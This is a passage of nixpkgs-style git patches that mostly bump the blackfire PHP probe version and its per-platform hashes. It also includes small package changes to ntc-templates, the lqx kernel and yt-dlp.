+        "8.1" = "sha256-DDco6F8cD/D4J3KM1B111bjcJkRxd++CLR+x0azcR0g=";
+        "8.2" = "sha256-AQPQQM5Q5wlhvkXOnVNgPLcQpZ5xda/CYFqvm5J7e0c=";
+        "8.3" = "sha256-Yae7UVRrIdShIVZDSza9IrukYHgfX5CrVIpuH4rEAek=";
+        "8.4" = "sha256-l0+DN5zEqGJLg8Ig5U4PvZGms1O0eZ/PqjXgSw4bCA4=";
       };
     };
     "aarch64-darwin" = {
       system = "arm64";
       hash = {
-        "8.1" = "sha256-TZ6D8sTlLuM+8707ncECPNQlpySc7BYKIwSEth3MUT8=";
-        "8.2" = "sha256-4VJBo1TzEkstKo2ed9bxb/3g0JFjHlfTIfmDq2dCfUk=";
-        "8.3" = "sha256-gIIoRRNCed5cgbcFxvwXKgWZs4HgoOMCx6k0urVPxbs=";
+        "8.1" = "sha256-xb28nloEKKfJfddrDShBFuLHPOIyBo74erHWB9H5im4=";
+        "8.2" = "sha256-vmjjmGem7SdEkBWIjDfxgLQhmO9B/x1gIP5GSlAPPDs=";
+        "8.3" = "sha256-l6XrHQIigav6gMpgg7HEwm+2PeuU76AX3je8UVrcPEQ=";
       };
     };
     "x86_64-darwin" = {
       system = "amd64";
       hash = {
-        "8.1" = "sha256-tO52c8FKZXXgx7+0IGiwy5rPLEsU/5ji/c79wzb1S34=";
-        "8.2" = "sha256-eUkM5KzZLPK2hCnFqRN8eOwLiX54qXuLkdfxJdjuZTk=";
-        "8.3" = "sha256-CaRs3DI5TTHNSk91pqFaHt1OVQzGozATOUs7GNi8cqY=";
+        "8.1" = "sha256-xY/5UQuLM/UrdDvA1WUF117m+Coj3ElEgV3cbelfKvM=";
+        "8.2" = "sha256-bGpijGg++VJNZFHN9K6Gx1R+jBn3o+Qeh/RpmPC8NPE=";
+        "8.3" = "sha256-3uiTuEmEsp3sKOOR0WxH72pVPCs5ogR1yi3VQ7+/fw8=";
       };
     };
   };

From 0d9222b1d645c5f5a0d9cf6885aba8798900bc0d Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Mon, 2 Jun 2025 00:28:02 +0000
Subject: [PATCH 2728/4511] phpExtensions.blackfire: 1.92.36 -> 1.92.37

(cherry picked from commit 7b1ab108a81810b5ee14c820aa47d0e35d761014)
---
 pkgs/by-name/bl/blackfire/php-probe.nix | 38 ++++++++++++-------------
 1 file changed, 19 insertions(+), 19 deletions(-)

diff --git a/pkgs/by-name/bl/blackfire/php-probe.nix b/pkgs/by-name/bl/blackfire/php-probe.nix
index aa133ac2653f..d319d6574404 100644
--- a/pkgs/by-name/bl/blackfire/php-probe.nix
+++ b/pkgs/by-name/bl/blackfire/php-probe.nix
@@ -16,50 +16,50 @@ let
   phpMajor = lib.versions.majorMinor php.version;
   inherit (stdenv.hostPlatform) system;
 
-  version = "1.92.36";
+  version = "1.92.37";
 
   hashes = {
     "x86_64-linux" = {
       system = "amd64";
       hash = {
-        "8.1" = "sha256-Fn+6aZi8UuyF0f94t09SwhUwvHqjvN6m2HBq2mbr/CA=";
-        "8.2" = "sha256-b8YyT9P+KQonwHqXSn17EDRTdTw9CuvIX0PzjvGlmCo=";
-        "8.3" = "sha256-YLQi530JkoQfAx/ZBR9w2dthK6IsDSyqq3U+rGugUPw=";
-        "8.4" = "sha256-zpXYElris1fjMlwpTwuRDkCdO3MNHCLp3D24x5X/S88=";
+        "8.1" = "sha256-NuWxVeVueKz64jDIE1KPzLEco+MoUyuc/9/hsTaRrAI=";
+        "8.2" = "sha256-NJlrEwSY55INO7q5GAvPojnLdkAYJ4eCIjxFH55Pdmg=";
+        "8.3" = "sha256-KGpNPp2bOAmY/GUPnUxTJ4z6X8AdvZAG6YC3pLTjbGI=";
+        "8.4" = "sha256-3HrbezGcdVMtdPrfRpLEhY/1AXlGUIMraeie7LEmiC8=";
       };
     };
     "i686-linux" = {
       system = "i386";
       hash = {
-        "8.1" = "sha256-3mNgyfrkgiZBkLE8ppans7R72lOeXFup2nwLoP6Gve0=";
-        "8.2" = "sha256-PT7virnfH8Ujkol/fK84TmVTc4jK4xGfaDL1kb9bj/4=";
-        "8.3" = "sha256-h4Gf4YR2I+R9dMDiFpAN1WB2o6BNP3C80fX7vKEN6Gs=";
-        "8.4" = "sha256-lRunm8coAkwiLvPELWquAsoNQEZv0LvL13Hdg+9dOfA=";
+        "8.1" = "sha256-Z9D6yoDSTdvzAQw+LhCk37J+LPMLEthUzbB1YQdr7AY=";
+        "8.2" = "sha256-ES2Y2RewFSP0R5wuYF2sm7NAVlCRvRPSpfPt7X2uYqs=";
+        "8.3" = "sha256-jqcS97JcHU/LzdU08MwNXDepH7OzIa4Fo7s3hg+x6hA=";
+        "8.4" = "sha256-xel7bbb4S16YddLuw0sDINbKQ0zoJeeRSI4g+tpqYz0=";
       };
     };
     "aarch64-linux" = {
       system = "arm64";
       hash = {
-        "8.1" = "sha256-DDco6F8cD/D4J3KM1B111bjcJkRxd++CLR+x0azcR0g=";
-        "8.2" = "sha256-AQPQQM5Q5wlhvkXOnVNgPLcQpZ5xda/CYFqvm5J7e0c=";
-        "8.3" = "sha256-Yae7UVRrIdShIVZDSza9IrukYHgfX5CrVIpuH4rEAek=";
-        "8.4" = "sha256-l0+DN5zEqGJLg8Ig5U4PvZGms1O0eZ/PqjXgSw4bCA4=";
+        "8.1" = "sha256-l3mz8n1PjBUTcLN4Kyjg573Ip20dFV85yNT2krYq6Z0=";
+        "8.2" = "sha256-EyxrVMitvupQzAwhFDwMO56PUhyLb35aqWgJeH+211E=";
+        "8.3" = "sha256-T6UkTtQl1Ce95tA4/J9mSk/pBWAZJJz0pHb3xMIGYvc=";
+        "8.4" = "sha256-udvqUMbbVcFOocu1F0rSgi0+bg5VPq2Qw2LrRqNRQHw=";
       };
     };
     "aarch64-darwin" = {
       system = "arm64";
       hash = {
-        "8.1" = "sha256-xb28nloEKKfJfddrDShBFuLHPOIyBo74erHWB9H5im4=";
-        "8.2" = "sha256-vmjjmGem7SdEkBWIjDfxgLQhmO9B/x1gIP5GSlAPPDs=";
-        "8.3" = "sha256-l6XrHQIigav6gMpgg7HEwm+2PeuU76AX3je8UVrcPEQ=";
+        "8.1" = "sha256-PoXihk7e+xT6fat48dnD/3lZqQKpgBHs4Eao08J4dMs=";
+        "8.2" = "sha256-lLham3VjXvszjOU8NvxZsjz5vfEK58QG1tE4X06luzQ=";
+        "8.3" = "sha256-rAsJ71P+yM939JqhhwDbxfL0EwB4q7SNqvSdN0n6ES0=";
       };
     };
     "x86_64-darwin" = {
       system = "amd64";
       hash = {
-        "8.1" = "sha256-xY/5UQuLM/UrdDvA1WUF117m+Coj3ElEgV3cbelfKvM=";
-        "8.2" = "sha256-bGpijGg++VJNZFHN9K6Gx1R+jBn3o+Qeh/RpmPC8NPE=";
-        "8.3" = "sha256-3uiTuEmEsp3sKOOR0WxH72pVPCs5ogR1yi3VQ7+/fw8=";
+        "8.1" = "sha256-6RoANqMjuyaLcMzg5R0unhTwOSbsQhEXCkjQ2kjnnCg=";
+        "8.2" = "sha256-PjvLjRsnhHgXOEj7J7ekWM0fFuaOuiYJhXbINClaFtU=";
+        "8.3" = "sha256-NoY788iBgeVMrQp3tm6vbAnwBZB7yMjCVmH7jr32HWU=";
       };
     };
   };

From 8f859fe8f40ce9fc34bd335439f4809dfff1e1d1 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Thu, 12 Jun 2025 07:49:06 +0000
Subject: [PATCH 2729/4511] phpExtensions.blackfire: 1.92.37 -> 1.92.38

(cherry picked from commit 8d8461f95b068bce4c0aa1ddb0408b3d19a935cb)
---
 pkgs/by-name/bl/blackfire/php-probe.nix | 38 ++++++++++++-------------
 1 file changed, 19 insertions(+), 19 deletions(-)

diff --git a/pkgs/by-name/bl/blackfire/php-probe.nix b/pkgs/by-name/bl/blackfire/php-probe.nix
index d319d6574404..4fcdad5cb2ad 100644
--- a/pkgs/by-name/bl/blackfire/php-probe.nix
+++ b/pkgs/by-name/bl/blackfire/php-probe.nix
@@ -16,50 +16,50 @@ let
   phpMajor = lib.versions.majorMinor php.version;
   inherit (stdenv.hostPlatform) system;
 
-  version = "1.92.37";
+  version = "1.92.38";
 
   hashes = {
     "x86_64-linux" = {
       system = "amd64";
       hash = {
-        "8.1" = "sha256-NuWxVeVueKz64jDIE1KPzLEco+MoUyuc/9/hsTaRrAI=";
-        "8.2" = "sha256-NJlrEwSY55INO7q5GAvPojnLdkAYJ4eCIjxFH55Pdmg=";
-        "8.3" = "sha256-KGpNPp2bOAmY/GUPnUxTJ4z6X8AdvZAG6YC3pLTjbGI=";
-        "8.4" = "sha256-3HrbezGcdVMtdPrfRpLEhY/1AXlGUIMraeie7LEmiC8=";
+        "8.1" = "sha256-W8VlvHa6vmNbDX5r5FG8pB0vpXRn5hPu61td9aARecA=";
+        "8.2" = "sha256-f3AKwh9mUCoFDaXM+EwTORk0/TFyArtEa+sv7cMZmDs=";
+        "8.3" = "sha256-6zigke1VY439IIxrQg5Dxcggn+7Q0BE/spPycvxdyik=";
+        "8.4" = "sha256-n89OCTUGsWhpc61P9WvKyjdJ52wJHoj6NEb2mcs0whA=";
       };
     };
     "i686-linux" = {
       system = "i386";
       hash = {
-        "8.1" = "sha256-Z9D6yoDSTdvzAQw+LhCk37J+LPMLEthUzbB1YQdr7AY=";
-        "8.2" = "sha256-ES2Y2RewFSP0R5wuYF2sm7NAVlCRvRPSpfPt7X2uYqs=";
-        "8.3" = "sha256-jqcS97JcHU/LzdU08MwNXDepH7OzIa4Fo7s3hg+x6hA=";
-        "8.4" = "sha256-xel7bbb4S16YddLuw0sDINbKQ0zoJeeRSI4g+tpqYz0=";
+        "8.1" = "sha256-31lJOGL9i8kL22zH8zzYZtxB94ssJiw+qXQRmQilR+c=";
+        "8.2" = "sha256-f+D7DZvLQk6ebLfJ43qFSqWzU6YQoP/7nVGajLRll5g=";
+        "8.3" = "sha256-56/+604Vymb+otL7oria3d/w4b1o8Pt199aXK4nfJC4=";
+        "8.4" = "sha256-K26Dy0S9w0uWTX7GkIjh0jUtaa768B+ls9gq8LXNZUA=";
       };
     };
     "aarch64-linux" = {
       system = "arm64";
       hash = {
-        "8.1" = "sha256-l3mz8n1PjBUTcLN4Kyjg573Ip20dFV85yNT2krYq6Z0=";
-        "8.2" = "sha256-EyxrVMitvupQzAwhFDwMO56PUhyLb35aqWgJeH+211E=";
-        "8.3" = "sha256-T6UkTtQl1Ce95tA4/J9mSk/pBWAZJJz0pHb3xMIGYvc=";
-        "8.4" = "sha256-udvqUMbbVcFOocu1F0rSgi0+bg5VPq2Qw2LrRqNRQHw=";
+        "8.1" = "sha256-aSjOxMZdP+Lrd4FaXgkbHykmKBn9WuzGumrYpJEKpS8=";
+        "8.2" = "sha256-ckhHA/EYeRlhSrc5nMUl6jS0iAaW1q1sZAYYxjcGOwQ=";
+        "8.3" = "sha256-p3P94uPTbekbxgICuC72NEA5XFpYng2MZI+9L+0R/Ew=";
+        "8.4" = "sha256-KCMRNpS2A5Tb5Td8fpBusu70FNIOfJ+6pYRUgw/5kDg=";
       };
     };
     "aarch64-darwin" = {
       system = "arm64";
       hash = {
-        "8.1" = "sha256-PoXihk7e+xT6fat48dnD/3lZqQKpgBHs4Eao08J4dMs=";
-        "8.2" = "sha256-lLham3VjXvszjOU8NvxZsjz5vfEK58QG1tE4X06luzQ=";
-        "8.3" = "sha256-rAsJ71P+yM939JqhhwDbxfL0EwB4q7SNqvSdN0n6ES0=";
+        "8.1" = "sha256-5JPn9lNsh6NJemCRmrBrTIvhEUQfjmIGbASaoiKoZDo=";
+        "8.2" = "sha256-e9tsXi3SML9HZ81XD5LhGcm7L8Ag9fOvyTo0Gy42YRw=";
+        "8.3" = "sha256-RCmYyrcSi7hfkbGOSp8ywFkm1IFGy0bgu8tmdrTID6c=";
       };
     };
     "x86_64-darwin" = {
       system = "amd64";
       hash = {
-        "8.1" = "sha256-6RoANqMjuyaLcMzg5R0unhTwOSbsQhEXCkjQ2kjnnCg=";
-        "8.2" = "sha256-PjvLjRsnhHgXOEj7J7ekWM0fFuaOuiYJhXbINClaFtU=";
-        "8.3" = "sha256-NoY788iBgeVMrQp3tm6vbAnwBZB7yMjCVmH7jr32HWU=";
+        "8.1" = "sha256-SuD9iDjxMBt2GZtDXPIjCCl1mEt9K2GciuC7S9ppNZQ=";
+        "8.2" = "sha256-om1L/VQiwdV4D2awuz98ko7Oz9h1GYRtqYZrQRZpy7E=";
+        "8.3" = "sha256-H1xkneOLk7DCPqtbknLlQX2iKe/U6/ilmToOOtiRabs=";
       };
     };
   };

From b8bbe8f20fd0018d8adddfa15a976abb2935c54d Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Tue, 1 Jul 2025 00:30:00 +0000
Subject: [PATCH 2730/4511] phpExtensions.blackfire: 1.92.38 -> 1.92.39

(cherry picked from commit fa037315d03bf4dfd749962fa460ee3c5e624637)
---
 pkgs/by-name/bl/blackfire/php-probe.nix | 38 ++++++++++++-------------
 1 file changed, 19 insertions(+), 19 deletions(-)

diff --git a/pkgs/by-name/bl/blackfire/php-probe.nix b/pkgs/by-name/bl/blackfire/php-probe.nix
index 4fcdad5cb2ad..917f4733c8da 100644
--- a/pkgs/by-name/bl/blackfire/php-probe.nix
+++ b/pkgs/by-name/bl/blackfire/php-probe.nix
@@ -16,50 +16,50 @@ let
   phpMajor = lib.versions.majorMinor php.version;
   inherit (stdenv.hostPlatform) system;
 
-  version = "1.92.38";
+  version = "1.92.39";
 
   hashes = {
     "x86_64-linux" = {
       system = "amd64";
       hash = {
-        "8.1" = "sha256-W8VlvHa6vmNbDX5r5FG8pB0vpXRn5hPu61td9aARecA=";
-        "8.2" = "sha256-f3AKwh9mUCoFDaXM+EwTORk0/TFyArtEa+sv7cMZmDs=";
-        "8.3" = "sha256-6zigke1VY439IIxrQg5Dxcggn+7Q0BE/spPycvxdyik=";
-        "8.4" = "sha256-n89OCTUGsWhpc61P9WvKyjdJ52wJHoj6NEb2mcs0whA=";
+        "8.1" = "sha256-SsemBK7XYPmYakcUs3vLY9yh5jg3uQEksrokMztzilU=";
+        "8.2" = "sha256-lZYsPDkWWUbmG+k5nNcp2GxhzaMj9UCQswRiU7K5N40=";
+        "8.3" = "sha256-5dHAU3EtwzWrKUE9FjevDFRtdfO+dXX8y4wAD0VdTcM=";
+        "8.4" = "sha256-MsUh0OOztJ++vwXuDbQ8Krf1wANQHYhWXSiHAU5pm4M=";
       };
     };
     "i686-linux" = {
       system = "i386";
       hash = {
-        "8.1" = "sha256-31lJOGL9i8kL22zH8zzYZtxB94ssJiw+qXQRmQilR+c=";
-        "8.2" = "sha256-f+D7DZvLQk6ebLfJ43qFSqWzU6YQoP/7nVGajLRll5g=";
-        "8.3" = "sha256-56/+604Vymb+otL7oria3d/w4b1o8Pt199aXK4nfJC4=";
-        "8.4" = "sha256-K26Dy0S9w0uWTX7GkIjh0jUtaa768B+ls9gq8LXNZUA=";
+        "8.1" = "sha256-lxmH2lg11dP6ivqFq+lB2S87qlKKM7e0W95mfesNrf4=";
+        "8.2" = "sha256-7jTEuXYspgo6zTG0R4pA38cGQVIts0rMHHegJ+FZtUc=";
+        "8.3" = "sha256-aRrM6GnXBaiggwoPLq6U8T1YaXmYm6Zhd3Ex8JKMCuA=";
+        "8.4" = "sha256-tagBg+7FkuK/zsTMG3GmnqPsApdCP8RnqQozY5Nufzk=";
       };
     };
     "aarch64-linux" = {
       system = "arm64";
       hash = {
-        "8.1" = "sha256-aSjOxMZdP+Lrd4FaXgkbHykmKBn9WuzGumrYpJEKpS8=";
-        "8.2" = "sha256-ckhHA/EYeRlhSrc5nMUl6jS0iAaW1q1sZAYYxjcGOwQ=";
-        "8.3" = "sha256-p3P94uPTbekbxgICuC72NEA5XFpYng2MZI+9L+0R/Ew=";
-        "8.4" = "sha256-KCMRNpS2A5Tb5Td8fpBusu70FNIOfJ+6pYRUgw/5kDg=";
+        "8.1" = "sha256-P6sBM2B/w65P+lInWgn3FxZHX4tS0oo6YELsu8aXmIw=";
+        "8.2" = "sha256-qYglYx4icFch5KJuWCTgC19EowZNzHFIsh5qK7t/gDk=";
+        "8.3" = "sha256-Ob0rg6A7fJBKApGnugV+BAC5HjFc2UpZmxJ0oYnQVRg=";
+        "8.4" = "sha256-+cH7t3ElpNPZUbDEkjkeV8d+74hF3kFzI7xY9ruwy1Y=";
       };
     };
     "aarch64-darwin" = {
       system = "arm64";
       hash = {
-        "8.1" = "sha256-5JPn9lNsh6NJemCRmrBrTIvhEUQfjmIGbASaoiKoZDo=";
-        "8.2" = "sha256-e9tsXi3SML9HZ81XD5LhGcm7L8Ag9fOvyTo0Gy42YRw=";
-        "8.3" = "sha256-RCmYyrcSi7hfkbGOSp8ywFkm1IFGy0bgu8tmdrTID6c=";
+        "8.1" = "sha256-5EW9BkG154HQ6TrMyan5EhXiGlSRFPXMMTUasIwuC/U=";
+        "8.2" = "sha256-hRjh9Bf04LVBtS08fWMxrE1iyn6SGBQfNNLuSyQPjes=";
+        "8.3" = "sha256-WWsDPQhu1GXMDe6NhlMuVcwi7wGzRLJcJwxItxFCOiI=";
       };
     };
     "x86_64-darwin" = {
       system = "amd64";
       hash = {
-        "8.1" = "sha256-SuD9iDjxMBt2GZtDXPIjCCl1mEt9K2GciuC7S9ppNZQ=";
-        "8.2" = "sha256-om1L/VQiwdV4D2awuz98ko7Oz9h1GYRtqYZrQRZpy7E=";
-        "8.3" = "sha256-H1xkneOLk7DCPqtbknLlQX2iKe/U6/ilmToOOtiRabs=";
+        "8.1" = "sha256-w56HItrNtHA8jj9K5LhGTKFRX5i9UYJpxVwR0eFQe4E=";
+        "8.2" = "sha256-vkEAVyZ6Vs3VjWb3oNrlRz5zAzPbgIngeoDAHZLme3Q=";
+        "8.3" = "sha256-uzobd13RzYGFrXHyFH0Ud9Qg7AWMPAA5dvHCp7R3HrU=";
       };
     };
   };

From 0fcd014ed3203e549616586c82ed3389cbb02d92 Mon Sep 17 00:00:00 2001
From: Philip Hofstetter <phofstetter@sensational.ch>
Date: Tue, 1 Jul 2025 14:22:59 +0200
Subject: [PATCH 2731/4511] phpExtensions.blackfire: add darwin support for PHP
 8.4

blackfire has released PHP 8.4 support on darwin. This commit adds the
required hashes in order to allow blackfire-php usage with PHP 8.4

(cherry picked from commit 8c737c337a8e2150c165316683135cc73b935c19)
---
 pkgs/by-name/bl/blackfire/php-probe.nix | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/pkgs/by-name/bl/blackfire/php-probe.nix b/pkgs/by-name/bl/blackfire/php-probe.nix
index 917f4733c8da..7bd6d1b56b02 100644
--- a/pkgs/by-name/bl/blackfire/php-probe.nix
+++ b/pkgs/by-name/bl/blackfire/php-probe.nix
@@ -52,6 +52,7 @@ let
         "8.1" = "sha256-5EW9BkG154HQ6TrMyan5EhXiGlSRFPXMMTUasIwuC/U=";
         "8.2" = "sha256-hRjh9Bf04LVBtS08fWMxrE1iyn6SGBQfNNLuSyQPjes=";
         "8.3" = "sha256-WWsDPQhu1GXMDe6NhlMuVcwi7wGzRLJcJwxItxFCOiI=";
+        "8.4" = "sha256-tRxQfrFJmyaGRTa5ZWXhSHLx3V6QcBGe0EzKYbOjmG8=";
       };
     };
     "x86_64-darwin" = {
@@ -60,6 +61,7 @@ let
         "8.1" = "sha256-w56HItrNtHA8jj9K5LhGTKFRX5i9UYJpxVwR0eFQe4E=";
         "8.2" = "sha256-vkEAVyZ6Vs3VjWb3oNrlRz5zAzPbgIngeoDAHZLme3Q=";
         "8.3" = "sha256-uzobd13RzYGFrXHyFH0Ud9Qg7AWMPAA5dvHCp7R3HrU=";
+        "8.4" = "sha256-PtMXo/NTV8E32b9aWuuxBoHeeFN3vP2ufEo1Ed0w2iI=";
       };
     };
   };

From 70fb481ec8bce62b224af58336c43b19661faeb5 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Fri, 11 Jul 2025 07:38:53 +0000
Subject: [PATCH 2732/4511] phpExtensions.blackfire: 1.92.39 -> 1.92.40

(cherry picked from commit 7850626fbde41b8001e32936fbc51d8e1c0c9654)
---
 pkgs/by-name/bl/blackfire/php-probe.nix | 42 ++++++++++++-------------
 1 file changed, 21 insertions(+), 21 deletions(-)

diff --git a/pkgs/by-name/bl/blackfire/php-probe.nix b/pkgs/by-name/bl/blackfire/php-probe.nix
index 7bd6d1b56b02..01d3423b6aa9 100644
--- a/pkgs/by-name/bl/blackfire/php-probe.nix
+++ b/pkgs/by-name/bl/blackfire/php-probe.nix
@@ -16,52 +16,52 @@ let
   phpMajor = lib.versions.majorMinor php.version;
   inherit (stdenv.hostPlatform) system;
 
-  version = "1.92.39";
+  version = "1.92.40";
 
   hashes = {
     "x86_64-linux" = {
       system = "amd64";
       hash = {
-        "8.1" = "sha256-SsemBK7XYPmYakcUs3vLY9yh5jg3uQEksrokMztzilU=";
-        "8.2" = "sha256-lZYsPDkWWUbmG+k5nNcp2GxhzaMj9UCQswRiU7K5N40=";
-        "8.3" = "sha256-5dHAU3EtwzWrKUE9FjevDFRtdfO+dXX8y4wAD0VdTcM=";
-        "8.4" = "sha256-MsUh0OOztJ++vwXuDbQ8Krf1wANQHYhWXSiHAU5pm4M=";
+        "8.1" = "sha256-5yfhpseazq9XADYR4/Wo3xg6jGNbSdFrTn+cP+pCbN4=";
+        "8.2" = "sha256-ipUXh7pV9qiol6j9PpOyAyxriHDpBHDWin/dIxl4AqA=";
+        "8.3" = "sha256-6JcS+aTYhT14D2/wwxJad4MnsilgSjsckSzsx+lVvOM=";
+        "8.4" = "sha256-XYcRjHRLhF3f8INEnyGNnhrZlwQGt0wIdGtY3TTnA7s=";
       };
     };
     "i686-linux" = {
       system = "i386";
       hash = {
-        "8.1" = "sha256-lxmH2lg11dP6ivqFq+lB2S87qlKKM7e0W95mfesNrf4=";
-        "8.2" = "sha256-7jTEuXYspgo6zTG0R4pA38cGQVIts0rMHHegJ+FZtUc=";
-        "8.3" = "sha256-aRrM6GnXBaiggwoPLq6U8T1YaXmYm6Zhd3Ex8JKMCuA=";
-        "8.4" = "sha256-tagBg+7FkuK/zsTMG3GmnqPsApdCP8RnqQozY5Nufzk=";
+        "8.1" = "sha256-+ApXqJCew4/LKNc+nzDDat+jyqCs8P/kX7Sxt7fAnIE=";
+        "8.2" = "sha256-IxarxqbjA3Rei7eR/AUSOHSCoLAsHPwebIXQJYW05Ig=";
+        "8.3" = "sha256-HZAOO+VnK3qax/++jAKllHSbCVAgUeEmlSr/HVsXPQY=";
+        "8.4" = "sha256-uRG07BkUmZFMvMzVsuF0qRF/wv74QqP2YtGV1Emgcsg=";
       };
     };
     "aarch64-linux" = {
       system = "arm64";
       hash = {
-        "8.1" = "sha256-P6sBM2B/w65P+lInWgn3FxZHX4tS0oo6YELsu8aXmIw=";
-        "8.2" = "sha256-qYglYx4icFch5KJuWCTgC19EowZNzHFIsh5qK7t/gDk=";
-        "8.3" = "sha256-Ob0rg6A7fJBKApGnugV+BAC5HjFc2UpZmxJ0oYnQVRg=";
-        "8.4" = "sha256-+cH7t3ElpNPZUbDEkjkeV8d+74hF3kFzI7xY9ruwy1Y=";
+        "8.1" = "sha256-PkXmLsLwNF132SM+aOA1mfc+6EoaBlwpgoKTKXE0JFI=";
+        "8.2" = "sha256-edsH+Xb0lrw9Dg1aHHtjRGMjGS7+ZDxk/IJFZt5A5ho=";
+        "8.3" = "sha256-uP7bY8Pw/1GNdTd897eqsiVfQKr5HLVJ1BVHIloVdRA=";
+        "8.4" = "sha256-5MqridoL7fcMXnmC+XJoj3opkmrO1dVQWbZE1ot5y+E=";
       };
     };
     "aarch64-darwin" = {
       system = "arm64";
       hash = {
-        "8.1" = "sha256-5EW9BkG154HQ6TrMyan5EhXiGlSRFPXMMTUasIwuC/U=";
-        "8.2" = "sha256-hRjh9Bf04LVBtS08fWMxrE1iyn6SGBQfNNLuSyQPjes=";
-        "8.3" = "sha256-WWsDPQhu1GXMDe6NhlMuVcwi7wGzRLJcJwxItxFCOiI=";
-        "8.4" = "sha256-tRxQfrFJmyaGRTa5ZWXhSHLx3V6QcBGe0EzKYbOjmG8=";
+        "8.1" = "sha256-G2Zq6n1Ndx5MN3hbDlPDpT+wpNcYBm+mMnbnVNfAHvw=";
+        "8.2" = "sha256-9i65PvfjmyFWmgjQPyYRRLV/SOX88tFub2+XmnRlgVA=";
+        "8.3" = "sha256-Lf1p55Ae9pddT3Z82h7p/9jC7zN5Md3hOzXXLu/kDjM=";
+        "8.4" = "sha256-A3k/IEyDoLmGcJzl60nclB8f+lUmvWXKF851ZMpgwfM=";
       };
     };
     "x86_64-darwin" = {
       system = "amd64";
       hash = {
-        "8.1" = "sha256-w56HItrNtHA8jj9K5LhGTKFRX5i9UYJpxVwR0eFQe4E=";
-        "8.2" = "sha256-vkEAVyZ6Vs3VjWb3oNrlRz5zAzPbgIngeoDAHZLme3Q=";
-        "8.3" = "sha256-uzobd13RzYGFrXHyFH0Ud9Qg7AWMPAA5dvHCp7R3HrU=";
-        "8.4" = "sha256-PtMXo/NTV8E32b9aWuuxBoHeeFN3vP2ufEo1Ed0w2iI=";
+        "8.1" = "sha256-3uCvCbkpaawMnW6IXS9VPp8GU4SOwqh/9oxcP1W3h2E=";
+        "8.2" = "sha256-PCnUHwtNex9juVL5evY37qyuDRguZs4ByOfOnY7HQs0=";
+        "8.3" = "sha256-/3XZPG8+O71sbrVPDg0Thn+pTPGNYBTkJ3s/txI0Q3k=";
+        "8.4" = "sha256-XY2rS2p1WAVp1Rd1V8JUnCiTQe2WouLwlmtZTnRqs04=";
       };
     };
   };

From 8dea26e4797e6643645fe0a2d88604ec6da210ce Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Wed, 21 May 2025 04:27:02 +0200
Subject: [PATCH 2733/4511] python313Packages.ntc-templates: relax textfsm
 constraint

(cherry picked from commit 5b089ae6ba6f9b63c3f2b22f5fd88a852eb7f1ec)
---
 pkgs/development/python-modules/ntc-templates/default.nix | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/pkgs/development/python-modules/ntc-templates/default.nix b/pkgs/development/python-modules/ntc-templates/default.nix
index 5619fc76cbc9..cae6faa9f594 100644
--- a/pkgs/development/python-modules/ntc-templates/default.nix
+++ b/pkgs/development/python-modules/ntc-templates/default.nix
@@ -28,7 +28,9 @@ buildPythonPackage rec {
 
   build-system = [ poetry-core ];
 
-  propagatedBuildInputs = [ textfsm ];
+  pythonRelaxDeps = [ "textfsm" ];
+
+  dependencies = [ textfsm ];
 
   nativeCheckInputs = [
     invoke

From b8df57d3c780f279da92096e9e1c5b986141e1f5 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Mon, 21 Jul 2025 23:25:36 +0000
Subject: [PATCH 2734/4511] linuxKernel.kernels.linux_lqx: 6.15.6 -> 6.15.7

(cherry picked from commit cc3be1a4e92425f303ac55a61a2f78e6972cb891)
---
 pkgs/os-specific/linux/kernel/zen-kernels.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/zen-kernels.nix b/pkgs/os-specific/linux/kernel/zen-kernels.nix
index 6064cab07780..3ef8c184e5dd 100644
--- a/pkgs/os-specific/linux/kernel/zen-kernels.nix
+++ b/pkgs/os-specific/linux/kernel/zen-kernels.nix
@@ -23,9 +23,9 @@ let
     };
     # ./update-zen.py lqx
     lqx = {
-      version = "6.15.6"; # lqx
+      version = "6.15.7"; # lqx
       suffix = "lqx1"; # lqx
-      sha256 = "092yz6r6wzkafr0rafb1qdapghjwr33dlx3id5jn03jkq4g8jgmd"; # lqx
+      sha256 = "05pr17hqrlf4jfw3fxja9n0lfs4piy03fh4wqjhbd601sjif6akh"; # lqx
       isLqx = true;
     };
   };

From 979994f9ceea22b43a6324e3ddeeb9a0f133c8d1 Mon Sep 17 00:00:00 2001
From: DontEatOreo <57304299+DontEatOreo@users.noreply.github.com>
Date: Tue, 1 Jul 2025 04:15:05 +0300
Subject: [PATCH 2735/4511] yt-dlp: use `fetchFromGitHub`

(cherry picked from commit aa415e8988fe1246f7efac6defe15af0f0752e67)
---
 pkgs/by-name/yt/yt-dlp/package.nix | 15 ++++++++-------
 1 file changed, 8 insertions(+), 7 deletions(-)

diff --git a/pkgs/by-name/yt/yt-dlp/package.nix b/pkgs/by-name/yt/yt-dlp/package.nix
index 4ed1feb8a6f0..e4aedcfdfb6e 100644
--- a/pkgs/by-name/yt/yt-dlp/package.nix
+++ b/pkgs/by-name/yt/yt-dlp/package.nix
@@ -1,7 +1,7 @@
 {
   lib,
   python3Packages,
-  fetchPypi,
+  fetchFromGitHub,
   ffmpeg-headless,
   rtmpdump,
   atomicparsley,
@@ -17,13 +17,14 @@ python3Packages.buildPythonApplication rec {
   # The websites yt-dlp deals with are a very moving target. That means that
   # downloads break constantly. Because of that, updates should always be backported
   # to the latest stable release.
-  version = "2025.6.30";
+  version = "2025.06.30";
   pyproject = true;
 
-  src = fetchPypi {
-    inherit version;
-    pname = "yt_dlp";
-    hash = "sha256-bQroVcClW/zCjf+6gE7IUlublV00pBGRoVYaTOwD2L0=";
+  src = fetchFromGitHub {
+    owner = "yt-dlp";
+    repo = "yt-dlp";
+    tag = version;
+    hash = "sha256-dwBe6oXh7G67kfiI6BqiC0ZHzleR7QlfMiTVXWYW85I=";
   };
 
   build-system = with python3Packages; [
@@ -95,7 +96,7 @@ python3Packages.buildPythonApplication rec {
       youtube-dl is released to the public domain, which means
